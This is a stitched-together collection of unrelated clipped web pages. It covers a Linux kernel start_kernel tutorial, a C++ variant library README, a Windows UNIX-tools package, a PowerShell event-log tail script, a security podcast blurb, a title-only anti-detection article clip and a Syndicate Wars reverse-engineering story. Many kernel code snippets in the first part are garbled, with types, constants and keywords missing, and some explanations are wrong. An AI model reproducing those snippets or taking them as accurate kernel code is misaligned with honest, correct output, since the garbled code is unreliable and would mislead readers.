`thread_union.thread_info` is stored at the bottom of the stack in our case.
So the process stack is 16 killobytes and `thread_info` is at the bottom.
Remaining thread\_size will be `16 killobytes - 62 bytes = 16332 bytes`. Note
that `thread_unioun` represented as the union and not structure, it means that
`thread_info` and stack share the memory space.

Schematically it can be represented as follows:

[code]

    +-----------------------+
    |                       |
    |                       |
    |        stack          |
    |                       |
    |_______________________|
    |          |            |
    |          |            |
    |          |            |
    |__________↓____________|             +--------------------+
    |                       |             |                    |
    |      thread_info      |<----------->|     task_struct    |
    |                       |             |                    |
    +-----------------------+             +--------------------+
[/code]

http://www.quora.com/In-Linux-kernel-Why-thread\_info-structure-and-the-
kernel-stack-of-a-process-binds-in-union-construct

So `INIT_TASK` macro fills these `task_struct's` fields and many many more. As
i already wrote about, I will not describe all fields and its values in the
`INIT_TASK` macro, but we will see it soon.

Now let's back to the `set_task_stack_end_magic` function. This function
defined in the kernel/fork.c and sets a canary to the `init` process stack to
prevent stack overflow.

[code]

     set_task_stack_end_magic(struct task_struct *tsk)
    {
        unsigned  *stackend;
        stackend = end_of_stack(tsk);
        *stackend = STACK_END_MAGIC; /* for overflow detection */
    }
[/code]

Its implementation is easy. `set_task_stack_end_magic` gets the end of the
stack for the give `task_struct` with the `end_of_stack` function. End of a
process stack depends on `CONFIG_STACK_GROWSUP` configuration option. As we
learning `x86_64` architecture, stack grows down. So the end of the process
stack will be:

[code]

    (unsigned  *)(task_thread_info(p) + );
[/code]

where `task_thread_info` just returns the stack which we filled with the
`INIT_TASK` macro:

[code]

    #define task_thread_info()  ((struct thread_info *)(task)->stack)
[/code]

As we got end of the init process stack, we write `STACK_END_MAGIC` there.
After `canary` set, we can check it like this:

[code]

     (*end_of_stack(task) != STACK_END_MAGIC) {
            
            // handle stack overflow here
            
    }
[/code]

The next function after the `set_task_stack_end_magic` is
`smp_setup_processor_id`. This function has empty body for `x86_64`:

[code]

     __init __weak smp_setup_processor_id()
    {
    }
[/code]

as it implemented not for all architectures, but for s390, arm64 and etc...

The next function is - `debug_objects_early_init` in the `start_kernel`.
Implementation of these function is almost the same as `lockdep_init`, but
fills hashes for object debugging. As i wrote about, we will not see
description of this and other functions which are for debugging purposes in
this chapter.

After `debug_object_early_init` function we can see the call of the
`boot_init_stack_canary` function which fills `task_struct->canary` with the
canary value for the `-fstack-protector` gcc feature. This function depends on
`CONFIG_CC_STACKPROTECTOR` configuration option and if this option is disabled
`boot_init_stack_canary` does not anything, in another way it generate random
number based on random pool and the TSC:

[code]

    get_random_bytes(&canary, sizeof(canary));
    tsc = __native_read_tsc();
    canary += tsc + (tsc << );
[/code]

After we got a random number, we fill `stack_canary` field of the
`task_struct` with it:

[code]

    current->stack_canary = canary;
[/code]

and writes this value to the top of the IRQ stack with the:

[code]

    this_cpu_write(irq_stack_union.stack_canary, canary); // read bellow about this_cpu_write
[/code]

Again, we will not dive into details here, will cover it in the part about
IRQs. As canary set, we disable local and early boot IRQs and register the
bootstrap cpu in the cpu maps. We disable local irqs \(interrupts for current
CPU\) with the `local_irq_disable` macro which expands to the call of the
`arch_local_irq_disable` function from the include/linux/percpu-defs.h:

[code]

    static inline notrace  arch_local_irq_enable()
    {
            native_irq_enable();
    }
[/code]

Where `native_irq_enable` is `cli` instruction for `x86_64`. As interrupts are
disabled we can register current cpu with the given ID in the cpu bitmap.

##  The first processor activation

Current function from the `start_kernel` is the - `boot_cpu_init`. This
function initalizes various cpu masks for the boostrap processor. First of all
it gets the bootstrap processor id with the call of:

[code]

     cpu = smp_processor_id();
[/code]

For now it is just zero. If `CONFIG_DEBUG_PREEMPT` configuration option is
disabled, `smp_processor_id` just expands to the call of the
`raw_smp_processor_id` which expands to the:

[code]

    #define raw_smp_processor_id() (this_cpu_read(cpu_number))
[/code]

`this_cpu_read` as many other function like this \(`this_cpu_write`,
`this_cpu_add` and etc...\) defined in the include/linux/percpu-defs.h and
presents `this_cpu` operation. These operations provide a way of opmizing
access to the per-cpu variables which are associated with the current
processor. In our case it is - `this_cpu_read` expands to the of the:

[code]

    __pcpu_size_call_return(this_cpu_read_, pcp)
    
[/code]

Remember that we have passed `cpu_number` as `pcp` to the `this_cpu_read` from
the `raw_smp_processor_id`. Now let's look on `__pcpu_size_call_return`
implementation:

[code]

    #define __pcpu_size_call_return(stem, variable)                         \
    ({                                                                      \
            typeof(variable) pscr_ret__;                                    \
            __verify_pcpu_ptr(&(variable));                                 \
            switch(sizeof(variable)) {                                      \
             : pscr_ret__ = stem##(variable); break;                  \
             : pscr_ret__ = stem##(variable); break;                  \
             : pscr_ret__ = stem##(variable); break;                  \
             : pscr_ret__ = stem##(variable); break;                  \
            default:                                                        \
                    __bad_size_call_parameter(); break;                     \
            }                                                               \
            pscr_ret__;                                                     \
    }) 
[/code]

Yes, it look a little strange, but it's easy. First of all we can see
defintion of the `pscr_ret__` variable with the `int` type. Why int? Ok,
`variable` is `common_cpu` and it was declared as per-cpu int variable:

[code]

    DECLARE_PER_CPU_READ_MOSTLY(, cpu_number);
[/code]

In the next step we call `__verify_pcpu_ptr` with the address of `cpu_number`.
`__veryf_pcpu_ptr` used to verifying that given paramter is an per-cpu
pointer. After that we set `pscr_ret__` value which depends on the size of the
variable. Our `common_cpu` variable is `int`, so it 4 bytes size. It means
that we will get `this_cpu_read_4(common_cpu)` in `pscr_ret__`. In the end of
the `__pcpu_size_call_return` we just call it. `this_cpu_read_4` is a macro:

[code]

    #define this_cpu_read_4()       percpu_from_op(, pcp)
[/code]

which calls `percpu_from_op` and pass `mov` instruction and per-cpu variable
there. `percpu_from_op` will expand to the inline assembly call:

[code]

    (movl gs:1,0 :  (pfo_ret__) :  (common_cpu))
[/code]

Let's try to understand how it works and what it does. `gs` segment register
contains the base of per-cpu area. Here we just copy `common_cpu` which is in
memory to the `pfo_ret__` with the `movl` instruction. Or with another words:

[code]

    this_cpu_read(common_cpu)
[/code]

is the same that:

[code]

    movl %gs:$common_cpu, $pfo_ret__
[/code]

As we didn't setup per-cpu area, we have only one - for the current running
CPU, we will get `zero` as a result of the `smp_processor_id`.

As we got current processor id, `boot_cpu_init` sets the given cpu
online,active,present and possible with the:

[code]

    set_cpu_online(cpu, );
    set_cpu_active(cpu, );
    set_cpu_present(cpu, );
    set_cpu_possible(cpu, );
[/code]

All of these functions use the concept - `cpumask`. `cpu_possible` is a set of
cpu ID's which can be plugged in anytime during the life of that system boot.
`cpu_present` represents which CPUs are currently plugged in. `cpu_online`
represents subset of the `cpu_present` and indicates CPUs which are available
for scheduling. These masks depends on `CONFIG_HOTPLUG_CPU` configuration
option and if this option is disabled `possible == present` and `active ==
online`. Implementation of the all of these functions are very similar. Every
function checks the second paramter. If it is `true`, calls `cpumask_set_cpu`
or `cpumask_clear_cpu` otherwise.

For example let's look on `set_cpu_possible`. As we passed `true` as the
second paramter, the:

[code]

    cpumask_set_cpu(cpu, to_cpumask(cpu_possible_bits));
[/code]

will be called. First of all let's try to understand `to_cpu_mask` macro. This
macro casts a bitmap to a `struct cpumask *`. Cpu masks provide a bitmap
suitable for representing the set of CPU's in a system, one bit position per
CPU number. CPU mask presented by the `cpu_mask` structure:

[code]

    typedef struct cpumask { DECLARE_BITMAP(bits, NR_CPUS); } cpumask_t;
[/code]

which is just bitmap declared with the `DECLARE_BITMAP` macro:

[code]

    #define DECLARE_BITMAP(name, bits) unsigned  name[BITS_TO_LONGS(bits)]
[/code]

As we can see from its definition, `DECLARE_BITMAP` macro expands to the array
of `unsigned long`. Now let's look on how `to_cpumask` macro implemented:

[code]

    #define to_cpumask(bitmap)                                              \
            ((struct cpumask *)( ? (bitmap)                                \
                                : ( *)sizeof(__check_is_bitmap(bitmap))))
[/code]

I don't know how about you, but it looked really weird for me at the first
time. We can see ternary operator operator here which is `true` everytime, but
why the `__check_is_bitmap` here? It's simple, let's look on it:

[code]

    static inline  __check_is_bitmap(const unsigned  *bitmap)
    {
            return ;
    }
[/code]

Yeah, it just returns `1` everytime. Actually we need in it here only for one
purpose: In compile time it checks that given `bitmap` is a bitmap, or with
another words it checks that given `bitmap` has type - `unsigned long *`. So
we just pass `cpu_possible_bits` to the `to_cpumask` macro for converting
array of `unsigned long` to the `struct cpumask *`. Now we can call
`cpumask_set_cpu` function with the `cpu` \- 0 and `struct cpumask
*cpu_possible_bits`. This function makes only one call of the `set_bit`
function which sets the given `cpu` in the cpumask. All of these `set_cpu_*`
functions work on the same principle.

If you're not sure that this `set_cpu_*` operations and `cpumask` are not
clear for you, don't worry about it. You can get more info by reading of the
special part about it - cpumask or documentation.

As we activated the bootstrap processor, time to go to the next function in
the `start_kernel.` Now it is `page_address_init`, but this function does
nothing in our case, because it executes only when all `RAM` can't be mapped
directly.

##  Print linux banner

The next call is `pr_notice`:

[code]

    #define pr_notice(fmt, ...) \
        printk(KERN_NOTICE pr_fmt(fmt), ##__VA_ARGS__)
[/code]

as you can see it just expands to the `printk` call. For this moment we use
`pr_notice` for printing linux banner:

[code]

    pr_notice(, linux_banner);
[/code]

which is just kernel version with some additional paramters:

[code]

    Linux version 4.0.0-rc6+ (alex@localhost) (gcc version 4.9.1 (Ubuntu 4.9.1-16ubuntu6) ) #319 SMP
    
[/code]

##  Architecture-dependent parts of initialization

The next step is architecture-specific initializations. Linux kernel does it
with the call of the `setup_arch` function. This is very big function as the
`start_kernel` and we do not have time to consider all of its implementation
in this part. Here we'll only start to do it and continue in the next part. As
it is `architecture-specific`, we need to go again to the `arch/` directory.
`setup_arch` function defined in the arch/x86/kernel/setup.c source code file
and takes only one argument - address of the kernel command line.

This function starts from the reserving memory block for the kernel `_text`
and `_data` which starts from the `_text` symbol \(you can remember it from
the arch/x86/kernel/head\_64.S\) and ends before `__bss_stop`. We are using
`memblock` for the reserving of memory block:

[code]

    memblock_reserve(__pa_symbol(_text), (unsigned )__bss_stop - (unsigned )_text);
[/code]

You can read about `memblock` in the Linux kernel memory management Part 1..
As you can remember `memblock_reserve` function takes two paramters:

  * base physical address of a memory block;
  * size of a memor block.

Base physical address of the `_text` symbol we will get with the `__pa_symbol`
macro:

[code]

    #define __pa_symbol() \
        __phys_addr_symbol(__phys_reloc_hide((unsigned )(x)))
[/code]

First of all it calls `__phys_reloc_hide` macro on the given paramter.
`__phys_reloc_hide` macro does nothing for `x86_64` and just returns the given
paramter. Implementation of the `__phys_addr_symbol` macro is easy. It just
substracts the symbol address from the base addres of the kernel text mapping
base virtual address \(you can remember that it is `__START_KERNEL_map`\) and
adds `phys_base` which is base address of the `_text`:

[code]

    #define __phys_addr_symbol() \
     ((unsigned )(x) - __START_KERNEL_map + phys_base)
[/code]

After we got physical address of the `_text` symbol, `memblock_reserve` can
reserve memory block from the `_text` to the `__bss_stop - _text`.

##  Reserve memory for initrd

In the next step after we reserved place for the kernel text and data is
resering place for the initrd. We will not see details about `initrd` in this
post, you just may know that it is temprary root file system stored in memory
and used by the kernel during its startup. `early_reserve_initrd` function
does all work. First of all this function get the base address of the ram
disk, its size and the end address with:

[code]

    u64 ramdisk_image = get_ramdisk_image();
    u64 ramdisk_size  = get_ramdisk_size();
    u64 ramdisk_end   = PAGE_ALIGN(ramdisk_image + ramdisk_size);
[/code]

All of these paramters it takes from the `boot_params`. If you have read
chapter abot Linux Kernel Booting Process, you must remember that we filled
`boot_params` structure during boot time. Kerne setup header contains a couple
of fields which describes ramdisk, for example:

[code]

    Field name: ramdisk_image
    Type:       write (obligatory)
    Offset/size:    0x218/4
    Protocol:   2.00+
    
      The 32-bit linear address of the initial ramdisk or ramfs.  Leave at
      zero if there is no initial ramdisk/ramfs.
    
[/code]

So we can get all information which interests us from the `boot_params`. For
example let's look on `get_ramdisk_image`:

[code]

    static u64 __init get_ramdisk_image()
    {
            u64 ramdisk_image = boot_params..ramdisk_image;
    
            ramdisk_image |= (u64)boot_params.ext_ramdisk_image << ;
    
            return ramdisk_image;
    }
[/code]

Here we get address of the ramdisk from the `boot_params` and shift left it on
`32`. We need to do it because as you can read in the Documentation/x86/zero-
page.txt:

[code]

    0C0/004 ALL ext_ramdisk_image ramdisk_image high 32bits
    
[/code]

So after shifting it on 32, we're getting 64-bit address in `ramdisk_image`.
After we got it just return it. `get_ramdisk_size` works on the same principle
as `get_ramdisk_image`, but it used `ext_ramdisk_size` instead of
`ext_ramdisk_image`. After we got ramdisk's size, base address and end
address, we check that bootloader provided ramdisk with the:

[code]

     (!boot_params.hdr.type_of_loader ||
        !ramdisk_image || !ramdisk_size)
        return;
[/code]

and reserve memory block with the calculated addresses for the initial ramdisk
in the end:

[code]

    memblock_reserve(ramdisk_image, ramdisk_end - ramdisk_image);
[/code]

##  Conclusion

It is the end of the fourth part about linux kernel initialization process. We
started to dive in the kernel generic code from the `start_kernel` function in
this part and stopped on the architecture-specific initializations in the
`setup_arch`. In next part we will continue with architecture-dependent
initialization steps.

If you will have any questions or suggestions write me a comment or ping me at
twitter.

**Please note that English is not my first language, And I am really sorry for
any inconvenience. If you will find any mistakes please send me PR tolinux-
internals.**

##  Links

# mapbox/variant · GitHub

**Created:**| _8/19/2014 8:42:32 PM_  
---|---  
**Updated:**| _8/19/2014 8:42:32 PM_  
**Author:**| __  
**Tags:**| _programming performance C++11_  
  

# Mapbox Variant

An alternative to `boost::variant` for C++11.

#  Why use Mapbox Variant?

Mapbox variant has the same speedy performance of `boost::variant` but is
faster to compile time, results in smaller binaries, and has no dependencies.

For example on OS X 10.9 with clang++ and libc++:

Test| Mapbox Variant| Boost Variant  
---|---|---  
Size of pre-compiled header \(release / debug\)| 2.8/2.8 MB| 12/15 MB  
Size of simple program linking variant \(release / debug\)| 8/24 K| 12/40 K  
Time to compile header| 185 ms| 675 ms  
#  Depends

  * Compiler supporting `-std=c++11`
  * Tested with g++-4.7, g++-4.8, clang++ 3.4, and Visual C++ Compiler November 2013 CTP

Note: get the VS "CTP" release at http://www.microsoft.com/en-
us/download/details.aspx?id=41151

#  Usage

There is nothing to build, just include `variant.hpp` and
`recursive_wrapper.hpp` in your project.

#  Tests

The tests depend on:

  * Boost headers \(for benchmarking against `boost::variant`\)
  * Boost built with `--with-timer` \(used for benchmark timing\)

On Unix systems set your boost includes and libs locations and run `make
test`:

[code]

    export LDFLAGS='-L/opt/boost/lib'
    export CXXFLAGS='-I/opt/boost/include'
    make test
    
[/code]

On windows do:

[code]

    vcbuild
    
[/code]

##  Benchmark

On Unix systems run the benchmark like:

[code]

    make bench
    
[/code]

##  Check object sizes

[code]

    make sizes /path/to/boost/variant.hpp
    
[/code]

# Gow – The lightweight alternative to Cygwin - GitHub

**Created:**| _11/21/2011 9:21:32 AM_  
---|---  
**Updated:**| _11/21/2011 9:21:32 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

# Gow – The lightweight alternative to Cygwin

  * New Page
  * Edit Page 
  * Page History 

## Introduction

Gow \(Gnu On Windows\) is the lightweight alternative to Cygwin. It uses a
convenient Windows installer that installs about 130 extremely useful open
source UNIX applications compiled as native win32 binaries. It is designed to
be as small as possible, about 10 MB, as opposed to Cygwin which can run well
over 100 MB depending upon options.

## Features and Benefits

  * **Ultra light** : Small, light subset \(about 10 MB\) of of very useful UNIX binaries that do not have decent installers \(until now\!\).
  * **Shell window from any directory** : Adds a Windows Explorer shell window \(screenshot\) so that you can right-click on any directory and open a command \(cmd.exe\) window from that directory.
  * **Simple install/remove** : Easy to install and remove, all files contained in a single directory in a standard C:\Program Files path.
  * **Included in PATH**: All binaries are conveniently installed into the Windows PATH so they are accessible from a command-line window.
  * **Stable binaries** : All commands are kept up to date but also as stable as possible.

## Win32 Utilities Overview

Below are just a few of the 130 applications found in Gow.

  * **Shell scripting** : bash, zsh
  * **Compression** : gzip, zip, bzip2, compress
  * **SSH** : putty, psftp, pscp, pageant, plink
  * **Download/upload** : cURL, wget
  * **FTP** : NcFTP
  * **Editing** : vim
  * **Text search/view** : grep, agrep, less, cat, tail, head
  * **File system** : mv, cp, du, ls, pwd, rmdir, whereis
  * **Development** : make, diff, diff3, sleep, cvs, dos2unix, unix2dos

## Documentation and Links

  * Change log
  * Download
  * Executables list
  * Frequently Asked Questions - FAQ
  * Gow command
  * Unix command reference

## History

Gow was used by Vuzit LLC for years on production hardware as well as all
development machines. In order to share the great product with the world as
well as improve the quality it was released as an open source on July 14,
2010. This isn’t the only open source project associated by Vuzit. The company
has released several open source products that work with it’s DocuPub
platform: VuzitJava, VuzitRuby, VuzitPHP and Vuzit.Net.

## License

All source code is released under the open source MIT license which allows you
to use it in any proprietary product. All binaries are licensed under various
licenses, mainly GPL.

## Feedback

Please send feedback to bmatzelle \[at\] gmail \[dot\] com

# Grepping Live Windows Events | /dev/random
**Created:**| _9/17/2013 9:33:22 PM_  
---|---  
**Updated:**| _9/17/2013 9:33:22 PM_  
**Author:**| __  
**Tags:**| _windows powershell admin_  
  

# **G** repping Live Windows Events****

<img src='img/Temp2_3528.jpg' width='240' height='182' alt='Grepping' />Today, we have powerful tools to take care of our logs**.** There are plenty of solutions to collect and process them in multiple ways to make them more valuable**.** Of course, I have one of those tools to process my logs**.** However, I’m still often using the old good “ _tail -f | grep_ ” combination to track interesting events live on a UNIX system**.** This is very efficient to detect specific events while debugging an issue**.**
Every operating systems or applications should generate useful logs \(in a
perfect world\)**.** Microsoft OSes use an internal format to write
events**.** They can be reviewed using the well-known EventViewer tool**.** It
can search for events, browse events from remote computers on the same domain
but… it is a graphical tool and it does not allow a live tracking of events
\(pressing F5 to refresh the list of event is just too boring\)**.** Of
course, they are alternative solutions provided by 3rd party developers but I
did not find one that matched my requirements: console based, auto-update and
filters \(by ID or regular expression\)**.** I needed such a tool for a
specific project so I wrote mine in PowerShell **.** It was a good exercice
for me as I don’t have a lot of experience with the Microsoft automation
tool**.**

Honestly, this is a great framework to automate boring tasks in a Windows
environment**.** Like Perl or Python libraties, PowerShell comes with plenty
of “ _Cmdlets_ ” which add extra commands to perform specific tasks**.** Guess
what? There is a Cmdlet to access the Windows eventlog: Get-Eventlog :

[code]

    PS C:\Documents and Settings\xavier\Desktop> help get-eventlog
    NAME
     Get-EventLog
    SYNOPSIS
     Gets information about local event logs or the entries stored in those event logs**.**
    
    SYNTAX
     Get-EventLog [-logName] <string> [-newest <int>] [<CommonParameters>]
     Get-EventLog [-list] [-asString] [<CommonParameters>]
    
    DETAILED DESCRIPTION
     Gets information about local event logs or the entries stored in those event logs**.**
    
    RELATED LINKS
    
    REMARKS
     For more information, type: "get-help Get-EventLog -detailed"**.**
     For technical information, type: "get-help Get-EventLog -full"**.**
[/code]

\[Note: The version of PowerShell used here was an old one**.** With the
latest versions, more parameters have been added but I needed a script
compatible with all versions of PowerShell**.**\]

My script “ _tail.ps1_ ” will just work like a “ _tail -f | grep_ “**.** It will display live new events corresponding to different criterias**.** It is called with the following syntax:
[code]

    PS C:\Documents and Settings\xavier\Desktop> **.** /tail.ps1 -help
    Usage: tail.ps1 [-log=<eventlog>,<eventlog>,..**.**]
                    [-eventid=<id>,<id>,..**.**]
                    [-pattern=<regex>]
                    [-details]
                    [-verbose]
                    [-help]
[/code]

You can specify:

  * the log\(s\) to be tracked \(by default, only “ _Security_ ” events\)
  * the event ID\(s\) to be tracked \(exemple: 4625 \)
  * a regular expression to match the event message

Here is an example of usage**.** The script will track any change of the WMI
service status:

[code]

    PS C:\> **.** /tail**.** ps1 -log system -eventid 7036 -pattern WMI
    Index Time Type Source EventID Message
    ----- ---- ---- ------ ------- -------
    27253 sept**.** 17 2..**.** Info Service Control M... 7036 The WMI Performance Adapter service entered the stopped state**.**
    27255 sept**.** 17 2... Info Service Control M... 7036 The WMI Performance Adapter service entered the running state**.**
[/code]

The script is available on github.com **.** It is provided “as is”. Just feel
free to use it and enhance it.

****

# Network Security Podcast » Blog Archive » Network Security Podcast, Episode
154

**Created:**| _6/18/2009 10:42:14 PM_  
---|---  
**Updated:**| _6/18/2009 10:42:20 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

Network Security Podcast, Episode 154

This week we had a chance to talk to Jeff Moss, the founder of a couple minor
security events, Black Hat and Defcon. Of course some would say that they’re
the biggest social events of the year, along with having the best
presentations on cutting edge security research, but what do they know. A lot
apparently, given the number of security professionals and hackers who’ll be
be making the trip to Las Vegas at the end of July to attend both of these
events.

Jeff was recently asked to be a part of the Homeland Security Advisor Council,
a diverse group of sixteen individuals who will be advising the DHS and
Secretary Napolitano on the security concerns they’re seeing in the real
world. This group includes Govenors, both past and present, Mayors, CEO’s and
Presidents, though Mr. Moss is the only computer security expert. Jeff is
still learning about what this really means, but we spent a significant part
of the interview talking about what it means and the agendas he personally
would like to see pushed at the DHS. One of his big concerns is the tradeoff
we’re making between security and privacy and if anyone is taking steps to
measure those tradeoffs.

Network Security Podcast, Episode 154, June 16, 2009  
Time: 45:34  
Tonight’s Music: Song of Sixpence by 4 and 20 Blackbirds

# Art of Anti Detection – 3

**Created:**| _5/7/2017 10:49:41 AM_  
---|---  
**Updated:**| _5/7/2017 10:50:20 AM_  
**Author:**| __  
**Tags:**| _shellcode Obfuscation evasion_  
  

  
<img src='img/41640.pdf' />  

# gynvael.coldwind//vx.log

**Created:**| _1/30/2010 8:27:41 PM_  
---|---  
**Updated:**| _1/30/2010 8:27:55 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

2010-01-27:

## The tale of Syndicate Wars Port

hard:reverse
engineering:re:assembler:games:gamedev:x86:asm:windows:linux:macosx:c:syndicate
wars

As promised, It's time to reveal the technical story behind the Syndicate Wars
Port. The story is divided into two parts - the first, and the second attempt
to port this game. Comments are welcomed\!  
  

## The initial attempt

  
We made the first attempt to port this game a few years back \(I think it was
5 years ago\). The plan was simple - create a disassembler, and try to find
all the dependencies. Sounds simple\!  
OK, first of all, why the hell did we want to create a disassembler almost
from scratch? Two reasons:  
1.We didn't know any disassembler that handled LE files correctly \(we didn't
know about IDA back then\). For those of you who never played with the DOS4GW
extender - the executable file consists \(similarly to a PE file\) of two
parts: a 16-bit DOS stub that executes dos4gw.exe, and a **32-bit** Linear
Executable that is loaded by the dos4gw.exe loader. Of course the LE part
contains the application code/data/etc. \(check
http://www.tenberry.com/dos4g/faq/format.html for additional information\)  
2.Since the dead-listing was going to be recompiled, it had to be compatible
with the input format of an assembler of our choosing \(and we chose the
Netwide Asembler aka NASM\).  
Additionally, your own disassembler allows you to incorporate some other,
useful in the given case, features, like a user-provided symbol table, a white
list of data regions \(with the not listed data regions not appearing in the
listing\), or a list of vtable regions \(first we thought that the game was in
C++, having mistaken a switch-jump table for a vtable :>\).  
The disassembler \(called ledisasm\) was written by Unavowed, and it used the
ndisasm \(from the Netwide Assembler packet\) as the disassembling engine.  
  
Ah, one thing - Unavowed is a GNU/Linux person, while I owned a Windows box,
so we had to write everything in a way that it would work on both our systems
\(which restricted as to create only console applications\). Back to the
story...  
  
Having a disassembler ready \(it's a simplification - Unavowed made fixed to
it from time to time, so we had to use a diff-patch \(+ some sed scripts\)
method to keep the changes between the dead-listing regenerations\), we could
start looking for the dependencies: the C library functions, the I/O calls
\(mostly int/out/in instructions or mapped memory IO references\), and DOS4GW
environment specific dependencies.  
  
But first\! Some statistics: the listing we got weighted over **14 MB** , and
consisted of over **1,070,000 lines of assembly code and data \(dd db etc\)**.  
  
OK, but how to find a, let's say, an open/fopen function in such insanely
large assembly-soup? Look for **interrupts and trace the cross-references**\!
Of course, we used the best existing interrupt list - the Ralf Brown's
Interrups List \(http://www.ctyme.com/rbrown.htm\).  
  
One might say "Hey\! Wait a minute there\! How come the 32-bit application was
allowed to use the 16-bit DOS/VBIOS/BIOS/etc interrupts?". It is a good
question, and it is a place where the DPMI enters \(DOS Protected Mode
Interface\). In short, the DPMI, which is integrated in DOS4GW, registers some
ISRs \(Interrupt Service Routine\) in the IDT \(Interrupt Descriptor Table\),
which, when called, switch to 16-bit real mode \(I'm not sure here whether
DOS4GW implements it using the VM86 method, or normal real mode\), calls
whatever it's supposed to call, and jumps back to the protected mode.  
Additionally, there were functions like int386 or int386x which allowed to
call the 16-bit interrupts using the DPMI from high level languages like C.  
  
Btw, the int386x is implemented in a funny way \(however I admit that there
are not many ways to do it, and this one probably is the fastest\):  
  
`____int386x_:  
[...]  
call func_02628  
[...]  
func_02628:  
lea esi,[esi+esi*2]  
lea eax,[cs:esi+func_02631]  
push eax  
; push the return address  
[...]  
ret  
  
func_02631:  
int 0x0  
ret  
int 0x1  
ret  
int 0x2  
ret  
int3  
nop  
ret  
int 0x4  
ret  
int 0x5  
[...] ; yep, there is an int XX + ret for every interrupt  
int 0xfc  
ret  
int 0xfd  
ret  
int 0xfe  
ret  
int 0xff  
ret  
`  
  
OK, back to the topic\!  
After finding a few functions, we found somewhere reference to Watcom, and
found the Open Watcom compiler \(http://www.openwatcom.org/\), with the source
code of the standard libraries. Searching for functions when you have their
source is much faster than when you have nothing \(the sources were accurate
to about 95%\). Additionally, we could confirm our findings, and also change
some names from
\_\_i\_think\_its\_fopen\_but\_im\_not\_sure\_please\_double\_check to
\_freopen :\)  
  
While reverse engineering the assembly code \(we translated the code to
pseudo-C, since it's easier to read C than assembly\), we created some tools
\(in **Perl**\) which helped us in these translations: it was a very simple
“decompilation” of some instructions and **if** blocks; it was buggy, but it
was enough to speed things a little \(it was really simple, nothing even close
to what modern hexrays can do\). Also, I had a script in cli **PHP** that
changed the function names to color names \(it's easier to remember and
distinguish func\_red and loc\_cyan than func\_189275 and loc\_9ac61b\), but
in the end, we didn't use it too much.  
  
When we found about 50% functions, we met a guy \(hi joostp\!\) who was
working on a remake of the first Syndicate. After we told him what we were
doing, he showed mercy and gave us a list of functions found by IDA Pro in
MAIN.EXE \(the Syndicate Wars executable\), which saved us a few weeks of
finding the rest of the functions.  
  
Having the functions, we could cut exchange the function implementations to
calls to the modern native libc \(glibc or msvcrt\). However, the calls
couldn't been done with a simple 'jmp libc.func' since Watcom uses a Watcom
fastcall calling convention \(take a look at the “Calling conventions for
different C++ compilers and operating systems” by Anger Fog\), which, of
course, is not compatible with cdecl used in both glibc and msvcrt. So, we
created a **Python** script that received a list of functions with some kind
of prototype descriptors, and created the wrappers. Additionally, the script
handled the win32/gnu differences \(like the underscore required in cdecl
functions in object files on Windows\) and added debug-aiding messages.  
  
The configuration file for the wrapper.py script looked like this:  
`# v - vararg: like cdecl but used for functions with v[name] variant  
#  
# args is a sequence of zero or more of:  
# i - int  
# x - int (displayed in hex)  
# p - void * (general pointer)  
# s - char *  
# c - char  
#  
# name type args  
access p sx  
asctime p  
atoi p s  
[...]`  
A sample wrapper looks like this:  
`_c_access:  
push ebx  
**push ecx**  
**push edx**  
push esi  
push edi  
push edx  
push eax  
push edx  
push eax  
push dword .debug_str  
call printf  
add esp, byte +0xc  
call access  
add esp, byte +0x8  
pop edi  
pop esi  
pop edx  
**pop ecx**  
**pop ebx**  
ret  
.debug_str:  
db 'access("%s", 0x%x)', 0xa, 0x0  
`  
  
You may be surprised about the push/pop **edx** and **ecx** in the above code,
since normally the callee should save only ebx, esi, edi and ebp registers,
and both the edx and ecx registers are considered to be scratch registers.
Well, guess what, in Watcom clib \(clib, libc, crt, geeez, these people should
make up their minds\!\) both edx and ecx are callee-save registers. Believe
me, we learned this the hard way ;p  
  
About the debug messages, they of course were printed to stdout, and at one
point we added also printing the return address to stdout, and we hooked it
with a tool written in **C** which had a symbol map of the functions \(as in
“had a converted objdump symbol table into a hash table cached on the hard
disk between runs symbol table” to be exact\), and switched the addresses in
the debug output to symbols.  
  
The input looked like this:  
`004DAAA5 read(3, 0096F95C, 1024)  
004DA9FD close(3)  
004271EB strcmp("CD", "CD")  
004271EB strcmp("InstallDrive", "CD")  
004271EB strcmp("InstallDrive", "InstallDrive")  
004271EB strcmp("Language", "CD")`  
and the output:  
`<func_02046+1d> read(3, 0096F95C, 1024)  
<func_02044+11> close(3)  
<func_00268+91/jump_02574+12> strcmp("CD", "CD")  
<func_00268+91/jump_02574+12> strcmp("InstallDrive", "CD")  
<func_00268+91/jump_02574+12> strcmp("InstallDrive", "InstallDrive")  
<func_00268+91/jump_02574+12> strcmp("Language", "CD")`  
  
Ah, speaking of debugging – we used the GNU Debugger \(gdb\) mainly, since it
was the only debugger both me and Unavowed could use. To speed up things a
little, we created some **GDB scripts** that made it usable a little more.
E.g.:  
`define hardtrace  
echo Hardtracing the stack...\n  
set $max = 0x00520000  
set $min = 0x00400000  
set $cnt = $esp  
set $iter = 1  
printf "[00] "  
info symb $eip  
while 1  
set $temp = *(unsigned int*)$cnt & 0xffff0000  
if $temp >= $min && $temp <= $max  
printf "[%.2i] ", $iter  
set $iter = $iter + 1  
info symb *(unsigned int*)$cnt  
end  
set $cnt = $cnt + 4  
end  
end`  
\(yes, this script is a brute-force call-stack walker\)  
  
After the standard C functions started working, the next step was to see what
is the first thing that crashes, analyze it, fix it, and do the same with the
next place the game will crash \(please note that at that moment we had
nothing more than a few debug message showing on the console\). Of course,
since the C functions worked, the things that crashed were the I/O functions.  
  
After some time, we managed to block \(block, not fix\) the I/O functions of
the keyboard, sound, and mouse, and we focused on the graphic routines.  
  
Some, like the palette changing, were easy to find, since they used known port
numbers - out/in instructions were the key here, and Ralf Browns Port List
\(yes, Ralf Browns XYZ List again\). For example, the palette changing
function looks like this:  
  
`;------------------------------------------------------  
func_00889: ; 0006f9dc  
;------------------------------------------------------  
push ecx  
mov ch,dl  
mov cl,al  
mov dx,0x3c8  
xor al,al  
**out dx,al ; palette color number**  
mov dl,0xc9  
mov al,cl  
out dx,al ; red  
mov al,ch  
out dx,al ; green  
mov al,bl  
out dx,al ; blue  
[...]  
pop ecx  
  
ret  
`  
  
The above function was translated into SDL-compatible palette changing \(in C
of course\):  
`void  
set_palette(const uint8_t *palette)  
{  
SDL_Color colors[256];  
int x;  
const uint8_t *p;  
  
printf("set_palette(%p)\n", palette);  
  
